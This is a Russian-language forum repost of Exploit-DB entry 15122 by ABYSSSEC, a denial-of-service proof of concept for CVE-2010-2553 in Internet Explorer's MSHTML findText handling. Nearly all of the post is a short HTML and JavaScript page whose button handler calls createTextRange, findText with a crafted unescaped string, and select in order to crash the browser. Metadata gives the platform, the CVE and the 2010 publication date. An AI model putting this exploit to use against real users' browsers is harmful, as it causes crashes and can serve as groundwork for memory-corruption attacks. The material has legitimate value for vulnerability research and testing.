Exploit Microsoft Internet Explorer - MSHTML Findtext Processing

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
15122
Проверка EDB
  1. Пройдено
Автор
ABYSSSEC
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2010-2553
Дата публикации
2010-09-27
HTML:
<html>
<body>
<input type="button" value="Crachme!" onclick="Search()"/>
<input  type="text" value="Abysssec" id="Abysssec">&lt;/textarea&gt;

<script type="text/javascript">
function Search(){
var textinput  = document.getElementById("Abysssec");

var textRange = textinput.createTextRange();
textRange.findText(unescape("%u4141"),-1);
textRange.select(document.getElementById('d'));
document.body.appendChild(textinput);
}
</script>
<p id="p">Abysssec</p>
http://www.exploit-db.com/moaub-27-microsoft-internet-explorer-mshtml-findtext-processing-issue/
</body>
</html>
</p>
</body>
</html>
 
Источник
www.exploit-db.com

Похожие темы